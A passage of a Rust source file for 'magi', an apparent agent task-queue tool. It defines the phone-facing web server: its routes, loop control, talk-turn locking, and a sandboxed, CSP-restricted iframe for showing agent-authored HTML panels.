Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::proc::Quiet as _;
123use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
124use crate::run::{RunState, RunStatus};
125use crate::talk::{Talk, Talks};
126use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
127
128/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
129pub const DEFAULT_PORT: u16 = 7878;
130
131/// How often the change stream restats the queue and the runs directory.
132const POLL: Duration = Duration::from_secs(1);
133
134/// Keep-alive interval for the change stream. Phones and intermediaries drop
135/// an idle connection within a minute; a comment every fifteen seconds keeps
136/// the stream alive without waking the radio often enough to matter.
137const KEEPALIVE: Duration = Duration::from_secs(15);
138
139/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
140///
141/// A fixed period this long would not track a `[update] interval` shorter
142/// than itself: an operator who set `interval = "1m"` to make the deck
143/// notice a release within a minute would still wait up to fifteen of them
144/// for the next wake-up to even ask [`updater::Checker::should_check`].
145/// [`recheck_poll_period`] scales the sleep with the configured interval
146/// instead, and this is only its ceiling - reached at the default interval
147/// of a day, where waking any more often would just spend cycles asking a
148/// question that stays "no" for hours.
149const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
150
151/// Floor on the same, so a very short `[update] interval` cannot spin
152/// [`run_update_recheck`] in a near-busy loop.
153const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
154
155/// Runs returned when the client does not ask, and the ceiling if it asks for
156/// more. The cap exists because the list handler parses every `run.json` it
157/// returns, and a phone cannot render two thousand rows anyway.
158const LIST_DEFAULT: usize = 50;
159/// Upper bound for `?limit=`.
160const LIST_MAX: usize = 500;
161
162/// Width of a generated task title, matching what the CLI uses.
163const TITLE_MAX: usize = 72;
164
165/// Per-file cap for an attachment upload.
166///
167/// Enforced twice: axum's own body limit is raised one byte above this, only
168/// on the two attachment `POST` routes (see the router - every other route
169/// keeps the crate-wide default), so an oversize body is still read far
170/// enough to answer with our own message below rather than axum's generic
171/// one; this constant is what that message and the boundary check actually
172/// compare against.
173const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
174
175/// The image types an attachment upload accepts - a closed whitelist, the
176/// same posture [`asset_content_type`] takes for panel assets and for the
177/// same reason: SVG is excluded on purpose because it is active content
178/// (it may carry `<script>`) and not merely a picture, so it never appears
179/// here even though `image/svg+xml` is a real IANA type.
180const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
181
182/// Header carrying the operator's own filename. Free text, stored only for
183/// display - see [`talk::Attachment::name`]'s doc on why it never
184/// contributes to a path.
185const FILENAME_HEADER: &str = "x-filename";
186
187/// The header that makes serving agent-authored HTML defensible, sent by both
188/// panel routes and asserted verbatim by a test.
189///
190/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
191/// denies every fetch destination that is not re-allowed below, which is all of
192/// them except images and fonts; `img-src 'self' data:` means an image comes
193/// from magi's own asset route or from the document itself, so a panel cannot
194/// signal an outside server by pointing an `<img>` at it - the classic
195/// exfiltration channel for markup that cannot run script. `style-src
196/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
197/// free formatting means here and a style sheet cannot make a request that
198/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
199/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
200/// stops a form posting the owner's decision to a third party, and
201/// `frame-ancestors 'self'` stops another site framing the panel to phish with
202/// it.
203///
204/// There is deliberately no `script-src`: `default-src 'none'` already covers
205/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
206/// denied twice over. Weakening any directive here is the difference between a
207/// panel the owner reads and a page that can talk to the tailnet, which is why
208/// the test compares the whole string rather than looking for a substring.
209const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
210                         font-src data:; base-uri 'none'; form-action 'none'; \
211                         frame-ancestors 'self'";
212
213const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
214const APP_CSS: &str = include_str!("../assets/ui/app.css");
215const APP_JS: &str = include_str!("../assets/ui/app.js");
216
217/// Which address to listen on.
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
219pub enum Bind {
220    /// Ask Tailscale, and fall back to loopback with a warning.
221    Auto,
222    /// An address the operator named.
223    Addr(IpAddr),
224}
225
226impl std::str::FromStr for Bind {
227    type Err = String;
228
229    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
230    /// the CLI can take `--bind` straight into it: the one spelling of
231    /// `auto` that matters is the one this function knows.
232    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
233        if s.eq_ignore_ascii_case("auto") {
234            return Ok(Self::Auto);
235        }
236        s.parse()
237            .map(Self::Addr)
238            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
239    }
240}
241
242impl std::fmt::Display for Bind {
243    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
244        match self {
245            Self::Auto => f.write_str("auto"),
246            Self::Addr(addr) => write!(f, "{addr}"),
247        }
248    }
249}
250
251/// How to serve.
252#[derive(Debug, Clone)]
253pub struct Opts {
254    /// Address to listen on.
255    pub bind: Bind,
256    /// Port to listen on.
257    pub port: u16,
258    /// Repository used for tasks posted without one.
259    pub repo: PathBuf,
260    /// Print the URL on its own line for a caller that wants to hand it to a
261    /// browser. magi never launches one itself.
262    pub open: bool,
263    /// Merge mode override for the loop this process runs (`none`, `local`,
264    /// `pr`); `None` leaves it to each repository's own config.
265    ///
266    /// The same override `magi serve --merge` takes, and here for the same
267    /// reason: `magi web` is now the thing that runs the loop, so an operator
268    /// who wants this session's runs to open pull requests has to be able to
269    /// say so without going back to the command they no longer type.
270    pub merge: Option<String>,
271}
272
273impl Default for Opts {
274    fn default() -> Self {
275        Self {
276            bind: Bind::Auto,
277            port: DEFAULT_PORT,
278            repo: PathBuf::from("."),
279            open: false,
280            merge: None,
281        }
282    }
283}
284
285/// Everything the handlers touch.
286///
287/// The queue, the runs directory and the magi home are fields rather than
288/// process-global lookups so a test drives the real router against a temp
289/// directory instead of the operator's own history.
290#[derive(Debug, Clone)]
291pub struct Ui {
292    queue: Queue,
293    questions: Questions,
294    /// `<home>/notifications`, the bell's own store. Derived from `home` in
295    /// [`Ui::new`] so no constructor signature had to grow.
296    notices: Notices,
297    talks: Talks,
298    runs: PathBuf,
299    home: PathBuf,
300    repo: PathBuf,
301    /// Where the runs' worktrees live, for the health disk figures.
302    ///
303    /// Spelled independently of [`crate::run::default_worktree_root`] so the
304    /// test servers can point it at their own temp directory: the health route
305    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
306    /// be measuring the machine instead of the server.
307    worktrees_root: PathBuf,
308    /// Talks with an agent turn in flight right now.
309    ///
310    /// In-process and therefore not durable, which is correct: it guards
311    /// against two taps on one phone and two phones on one tailnet, both of
312    /// which are this process's own concurrency. A second `magi web` would not
313    /// see it, and a second `magi web` on the same home is already a
314    /// misconfiguration the queue's claims would catch first.
315    talk_turns: Arc<Mutex<TalkTurns>>,
316    /// Runs this process is resuming right now.
317    ///
318    /// Separate from `talk_turns` because a run and a talk are different
319    /// things to hold, and a resume is far more expensive to start twice: it
320    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
321    /// guards two taps and two phones, which is this process's own
322    /// concurrency.
323    resuming: Arc<Mutex<HashSet<String>>>,
324    /// The last scan of `[repos] roots`, and when it happened. Shared across
325    /// requests so polling `GET /api/repos` repeatedly does not repeat the
326    /// filesystem walk every time - see [`repos::Cache`].
327    repos_cache: repos::Cache,
328    /// The machine-config file the settings screen reads and writes: always
329    /// [`Config::machine_layer`], never anything a request names. A field so a
330    /// test can point it at its own temp directory instead of the operator's.
331    machine_config: Option<PathBuf>,
332    /// Merge mode override handed to the loop this process starts.
333    merge: Option<String>,
334    /// The loop this process is running, if it is running one.
335    looping: Arc<Mutex<LoopState>>,
336    /// How a loop is actually started.
337    ///
338    /// A field rather than a direct call to [`daemon::serve_until`], because
339    /// the real loop resolves its queue and its status file through the
340    /// process-global magi home and claims whatever it finds there. A test
341    /// that started it would reach straight past its own temp directory into
342    /// the operator's live queue, overwrite the status file of the `magi
343    /// serve` that owns it, and spend real agent quota on a real competition.
344    /// What the routes have to get right is the bookkeeping, so the tests
345    /// drive the routes against a loop that only starts and stops; production
346    /// is [`launch_daemon`] and nothing reassigns it.
347    launch: Launch,
348    /// A test-only stop point inside `talk_say`'s busy branch. See
349    /// [`BusyQueueGate`].
350    #[cfg(test)]
351    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
352}
353
354/// A one-shot stop point the busy branch's queued-draft write can be made to
355/// pause at, right before [`talk::queue`] runs.
356///
357/// Exists because a test cannot otherwise pin *when*, relative to the turn
358/// slot being freed, that write happens: `blocking` runs it on
359/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
360/// already finished, so counting polls on the handler future to park it at a
361/// particular `.await` is a guess about scheduling, not a fact about it - see
362/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
363/// used to do exactly that and paid for it with an occasional "async fn
364/// resumed after completion" panic under load.
365///
366/// `reached` fires the instant the write is about to run, so a test waits for
367/// a real event instead of a poll count. `release` then blocks the write
368/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
369/// rather than an async channel because this all happens inside the
370/// `spawn_blocking` closure the write already runs on, off any runtime
371/// worker, so blocking here costs nothing the write was not already going to
372/// cost.
373#[cfg(test)]
374struct BusyQueueGate {
375    reached: tokio::sync::oneshot::Sender<()>,
376    release: std::sync::mpsc::Receiver<()>,
377}
378
379#[cfg(test)]
380impl std::fmt::Debug for BusyQueueGate {
381    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
382        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
383    }
384}
385
386impl Ui {
387    /// A server over explicit paths.
388    pub fn new(
389        queue: Queue,
390        questions: Questions,
391        talks: Talks,
392        runs: PathBuf,
393        home: PathBuf,
394        repo: PathBuf,
395    ) -> Self {
396        Self {
397            queue,
398            questions,
399            notices: Notices::at(home.join("notifications")),
400            talks,
401            runs,
402            home,
403            repo,
404            // The default location, overridden by `with_worktrees_root` - a
405            // builder step rather than a ninth parameter, for the reason
406            // `with_merge` gives.
407            worktrees_root: run::default_worktree_root(),
408            talk_turns: Arc::default(),
409            resuming: Arc::default(),
410            repos_cache: repos::Cache::new(),
411            machine_config: Config::machine_layer(),
412            merge: None,
413            looping: Arc::default(),
414            launch: launch_daemon,
415            #[cfg(test)]
416            busy_queue_gate: Arc::default(),
417        }
418    }
419
420    /// The operator's own state: `<home>/queue`, `<home>/questions`,
421    /// `<home>/talks`, `<home>/runs`.
422    pub fn open(repo: PathBuf) -> Self {
423        Self::new(
424            Queue::open(),
425            Questions::open(),
426            Talks::open(),
427            run::runs_root(),
428            run::home(),
429            repo,
430        )
431    }
432
433    /// The merge mode the loop should use, as the command line gave it.
434    ///
435    /// A builder step rather than a seventh parameter on [`Ui::new`], because
436    /// the override is a property of how this process was invoked and not of
437    /// where its state lives - which is all the tests that build a `Ui` by
438    /// hand are saying.
439    #[must_use]
440    pub fn with_merge(mut self, merge: Option<String>) -> Self {
441        self.merge = merge;
442        self
443    }
444
445    /// The machine-config file the settings screen writes, when it is not
446    /// [`Config::machine_layer`] (tests).
447    #[cfg(test)]
448    #[must_use]
449    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
450        self.machine_config = path;
451        self
452    }
453
454    /// Where the runs' worktrees live, when it is not the default.
455    ///
456    /// The health view sizes this directory, so a test that leaves it at the
457    /// default would be measuring the operator's own machine.
458    #[must_use]
459    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
460        self.worktrees_root = root;
461        self
462    }
463
464    /// Point the loop at something other than [`launch_daemon`].
465    ///
466    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
467    /// this crate may start the real loop.
468    #[cfg(test)]
469    #[must_use]
470    fn with_launch(mut self, launch: Launch) -> Self {
471        self.launch = launch;
472        self
473    }
474
475    /// Install a [`BusyQueueGate`] for the next pass through the busy
476    /// branch's queued-draft write, replacing any earlier one.
477    ///
478    /// A setter on `&self` rather than a `with_*` builder consumed once,
479    /// because a test that drives the busy branch more than once (as
480    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
481    /// to build confidence the interleaving is handled deterministically and
482    /// not just on a lucky run) needs a fresh channel pair each time, on the
483    /// one `Ui` it already built its temp directories around.
484    #[cfg(test)]
485    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
486        *self
487            .busy_queue_gate
488            .lock()
489            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
490    }
491
492    /// The loop's state, for [`serve`]'s own way out.
493    fn looping(&self) -> Arc<Mutex<LoopState>> {
494        Arc::clone(&self.looping)
495    }
496
497    /// Start the loop in this process, or say who already has one.
498    ///
499    /// `foreign` is passed in rather than read here so that one request makes
500    /// one judgement about who owns the loop: reading the status file again
501    /// inside this function could refuse a start for a daemon the same
502    /// response then reports as gone.
503    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
504        if let Some(other) = foreign {
505            return Err(ApiError::conflict(format!(
506                "{} is already running the loop, so this one will not start a \
507                 second: two loops on one queue race for the same claims and \
508                 burn the agent quota twice over. Stop it where it was \
509                 started.",
510                other.who()
511            )));
512        }
513        let mut state = self.lock_loop();
514        if state.live.as_ref().is_some_and(Live::alive) {
515            return Err(ApiError::conflict(format!(
516                "this magi web process (pid {}) is already running the loop",
517                std::process::id()
518            )));
519        }
520
521        let stop = daemon::Stop::new();
522        // The CLI's own defaults for everything the UI has no opinion about:
523        // one poll interval and one retry budget, so a loop started from a
524        // phone behaves exactly like the `magi serve` it replaces.
525        let opts = daemon::Opts {
526            repo: self.repo.clone(),
527            merge: self.merge.clone(),
528            // Whatever this `Ui` already reports worktree sizes and folds
529            // against (see `with_worktrees_root`) is what the loop it starts
530            // must reclaim orphaned worktrees under too - two different
531            // opinions about where the worktree bay is would leave the
532            // janitor pass reclaiming a directory nothing else on this
533            // process is even looking at.
534            worktrees_root: Some(self.worktrees_root.clone()),
535            ..daemon::Opts::default()
536        };
537        let launch = self.launch;
538        let looping = Arc::clone(&self.looping);
539        let handle = tokio::spawn({
540            let opts = opts.clone();
541            let stop = stop.clone();
542            async move {
543                let failure = match launch(opts, stop).await {
544                    Ok(()) => None,
545                    Err(e) => Some(format!("{e:#}")),
546                };
547                match &failure {
548                    Some(why) => tracing::error!("the loop stopped: {why}"),
549                    None => tracing::info!("the loop stopped"),
550                }
551                // Recorded by the task itself rather than reaped by whichever
552                // request happens next, so `loop_rev` moves the moment the
553                // loop ends and a phone with the change stream open learns
554                // that it did. Clearing `live` drops this task's own handle,
555                // which only detaches it, and is the last thing it does.
556                let mut state = lock_or_recover(&looping);
557                state.live = None;
558                state.last_error = failure;
559                state.rev += 1;
560            }
561        });
562        tracing::info!(
563            "the loop is now running in this process: repo {}, merge {}",
564            opts.repo.display(),
565            opts.merge.as_deref().unwrap_or("as the config says")
566        );
567        state.live = Some(Live { stop, handle, opts });
568        // A fresh start is not the place to keep showing why the last one
569        // died; the operator has read it and pressed the button anyway.
570        state.last_error = None;
571        state.rev += 1;
572        Ok(())
573    }
574
575    /// Ask the loop to stop, without waiting for it to get there.
576    ///
577    /// Idempotent: a second tap on stop is not an error, because the first one
578    /// leaves the loop running for as long as the run in flight takes and the
579    /// operator has no way to tell a slow stop from a lost one.
580    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
581        if let Some(other) = foreign {
582            return Err(ApiError::conflict(format!(
583                "the loop belongs to {}, and this process cannot stop it - \
584                 stop it where it was started. A button that silently did \
585                 nothing would be worse than this refusal.",
586                other.who()
587            )));
588        }
589        let mut state = self.lock_loop();
590        // An operator who stops the loop has decided it stays stopped, even
591        // across an upgrade that was already in flight.
592        if !park {
593            state.resume_after_handover = false;
594        }
595        let Some(live) = state.live.as_ref() else {
596            return Ok(());
597        };
598        // A park upgrades a stop that has already been asked for: the
599        // operator who tapped "stop" and then realised the run has an hour
600        // left must not have to restart the loop to change their mind.
601        if live.stop.stopped() && (!park || live.stop.parking()) {
602            return Ok(());
603        }
604        if park {
605            live.stop.park();
606            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
607        } else {
608            live.stop.stop();
609            tracing::info!("the loop was asked to stop; a run in flight is finished first");
610        }
611        state.rev += 1;
612        Ok(())
613    }
614
615    /// The loop as both `/api/loop` and `/api/health` report it.
616    ///
617    /// `reading` is the caller's single read of `<home>/daemon.json`, because
618    /// health answers with this view *and* the daemon object beside it: one
619    /// read per response is what stops a single answer naming a foreign owner
620    /// in one field and calling the loop free in the other.
621    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
622        let state = self.lock_loop();
623        // A loop that panicked never recorded its own end, so the handle -
624        // not the presence of the record - is what "running" means.
625        let live = state.live.as_ref().filter(|live| live.alive());
626        LoopView {
627            running: live.is_some(),
628            stopping: live.is_some_and(|live| live.stop.finishing()),
629            parking: live.is_some_and(|live| live.stop.parking()),
630            owned: live.is_some(),
631            repo: live
632                .map_or(&self.repo, |live| &live.opts.repo)
633                .display()
634                .to_string(),
635            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
636            last_error: state.last_error.clone(),
637            daemon: DaemonView::of(reading),
638        }
639    }
640
641    /// Start the loop in a successor whose predecessor was running one.
642    ///
643    /// Goes through the same path as the UI's start-loop action. A refusal
644    /// (another process owns the loop) is logged and left in `last_error`;
645    /// the loop then simply stays stopped.
646    fn resume_after_handover(&self, resume: bool) -> bool {
647        if !resume {
648            return false;
649        }
650        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
651        match self.start_loop(foreign) {
652            Ok(()) => true,
653            Err(e) => {
654                let why = format!(
655                    "the loop could not be resumed after the upgrade: {}",
656                    e.message
657                );
658                tracing::warn!("{why}");
659                let mut state = self.lock_loop();
660                state.last_error = Some(why);
661                state.rev += 1;
662                false
663            }
664        }
665    }
666
667    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
668    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
669        lock_or_recover(&self.looping)
670    }
671
672    /// Whether this process currently owns the agent turn for `id`.
673    ///
674    /// This deliberately describes only the in-memory claim made by
675    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
676    /// never persisted with a [`Talk`].
677    fn is_thinking(&self, id: &str) -> bool {
678        self.talk_turns
679            .lock()
680            .is_ok_and(|turns| turns.live.contains(id))
681    }
682
683    /// Claim the right to run one turn in a talk, or report that it is busy.
684    ///
685    /// A talk is strictly turn-based: the agent is resumed with the
686    /// conversation it already has, so two turns running at once would resume
687    /// the same session twice and append their answers in whatever order the
688    /// two CLIs finished in. The operator would come back to a transcript
689    /// with two half-turns interleaved, which is unreadable and, worse,
690    /// unfixable - there is no undo for a persisted turn.
691    ///
692    /// A busy result is queued as a durable draft by [`talk_say`], rather than
693    /// starting a second CLI invocation for the same session.
694    ///
695    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
696    /// taken to test-and-insert and released before the agent is spawned. The
697    /// returned guard removes the id on drop, which is what makes a panicking
698    /// handler or a phone that walks out of range leave the talk usable - axum
699    /// drops the handler future when the client disconnects, and without the
700    /// guard that talk would be wedged until the server restarted.
701    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
702        self.claim_talk_turn(id, false)
703    }
704
705    /// Claim a turn after durably queueing a draft, or notify its current
706    /// owner that a drainer must recheck before it releases the slot.
707    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
708        self.claim_talk_turn(id, true)
709    }
710
711    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
712        let mut live = self
713            .talk_turns
714            .lock()
715            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
716        if !live.live.insert(id.to_owned()) {
717            if queued {
718                // A queued write has landed before this busy check.
719                // `drain_loop` uses this generation to recheck after its
720                // off-thread disk read, so it cannot release a turn between
721                // this check and the write.
722                *live.queued.entry(id.to_owned()).or_default() += 1;
723            }
724            return Ok(None);
725        }
726        Ok(Some(TalkTurnGuard {
727            talk: id.to_owned(),
728            turns: Arc::clone(&self.talk_turns),
729            released: false,
730        }))
731    }
732
733    /// Decide whether a free talk may start a new immediate turn while its
734    /// claim lock is held. A persisted draft without an owner is recovery
735    /// state, not a busy turn: two simultaneous `/say` requests must both
736    /// leave it untouched rather than one of them appending to it.
737    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
738        let mut live = self
739            .talk_turns
740            .lock()
741            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
742        if live.live.contains(id) {
743            return Ok(TalkTurnStart::Busy);
744        }
745        let talk = self.talks.get(id).map_err(ApiError::from)?;
746        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
747            return Ok(TalkTurnStart::Pending);
748        }
749        live.live.insert(id.to_owned());
750        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
751            talk: id.to_owned(),
752            turns: Arc::clone(&self.talk_turns),
753            released: false,
754        }))
755    }
756
757    /// Park the loop for an upgrade, and report the run that is parking.
758    ///
759    /// A park rather than a stop: a stop waits out the whole competition, and
760    /// not waiting is the point of upgrading from a phone. `None` means
761    /// nothing was in flight, which is worth saying so the operator is not
762    /// told a run is parking when none is.
763    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
764        let parking = {
765            let mut state = self.lock_loop();
766            // Decided here, before the park: by the time the handover fires
767            // an idle loop has already seen the park and ended, so `live`
768            // would read as "was never running". A loop the operator had
769            // already stopped stays stopped.
770            //
771            // Sticky: a second upgrade request finds the loop already
772            // stopping because of the first one's park, and must not read
773            // that as the operator having stopped it. Only an explicit stop
774            // or a failed update clears an earlier intent.
775            let resume = state.resume_after_handover
776                || state
777                    .live
778                    .as_ref()
779                    .is_some_and(|live| live.alive() && !live.stop.stopped());
780            state.resume_after_handover = resume;
781            let Some(live) = state.live.as_ref() else {
782                return Ok(None);
783            };
784            let busy = live.stop.busy_now();
785            live.stop.park();
786            state.rev += 1;
787            busy
788        };
789        Ok(if parking {
790            // More than one run can be in flight now (see
791            // `Config::daemon.max_concurrent_runs`); this answer names one of
792            // them so the operator sees a park actually happened, not every
793            // run a park now asks to stop at its next boundary.
794            daemon::current_work(&self.home, jiff::Timestamp::now())
795                .into_iter()
796                .next()
797                .map(|c| c.run)
798        } else {
799            None
800        })
801    }
802
803    /// Claim a run for a resume, on the same reasoning as
804    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
805    /// disconnected phone does not wedge the run until the server restarts.
806    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
807        let mut live = self
808            .resuming
809            .lock()
810            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
811        if !live.insert(id.to_owned()) {
812            return Err(ApiError::conflict(format!(
813                "run {id} is already being resumed"
814            )));
815        }
816        Ok(ResumeGuard {
817            run: id.to_owned(),
818            resuming: Arc::clone(&self.resuming),
819        })
820    }
821
822    /// The router, with this state baked in.
823    ///
824    /// The three front-end files get one explicit route each rather than a
825    /// path parameter, so there is no traversal surface to get wrong: the set
826    /// of servable paths is the set written here. The asset route below is the
827    /// one exception and the only place in this server where a client names a
828    /// file; it is why [`valid_asset_name`] is checked before a path is built.
829    pub fn router(self) -> Router {
830        Router::new()
831            .route("/", get(index))
832            .route("/app.css", get(app_css))
833            .route("/app.js", get(app_js))
834            .route("/api/health", get(health))
835            .route("/api/loop", get(loop_get).post(loop_post))
836            .route("/api/upgrade", post(upgrade_post))
837            .route("/api/runs", get(runs_list))
838            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
839            .route("/api/runs/{id}/report", get(run_report))
840            .route("/api/runs/{id}/report.json", get(run_report_json))
841            .route("/api/runs/{id}/fold", post(run_fold))
842            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
843            .route("/api/runs/{id}/resume", post(run_resume))
844            .route("/api/queue", get(queue_list))
845            .route("/api/search", get(search_get))
846            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
847            .route("/api/stats", get(stats_get))
848            .route("/api/repos", get(repos_list))
849            .route("/api/settings", get(settings_get))
850            .route("/api/settings/roles", put(settings_put_roles))
851            .route("/api/queue/{id}/hold", post(queue_hold))
852            .route("/api/queue/{id}/release", post(queue_release))
853            .route("/api/queue/{id}/priority", post(queue_priority))
854            .route("/api/queue/{id}/edit", post(queue_edit))
855            .route("/api/queue/{id}/done", post(queue_done))
856            .route("/api/questions", get(questions_list))
857            .route("/api/questions/{id}/answer", post(question_answer))
858            .route("/api/questions/{id}/say", post(question_say))
859            .route("/api/questions/{id}/consult", post(question_consult))
860            .route("/api/questions/{id}/panel", get(question_panel))
861            // The same asset, reachable from inside the panel by its bare
862            // filename. A document served at `.../panel` resolves `shot.png`
863            // to `.../shot.png`, which is not the asset route, so a panel
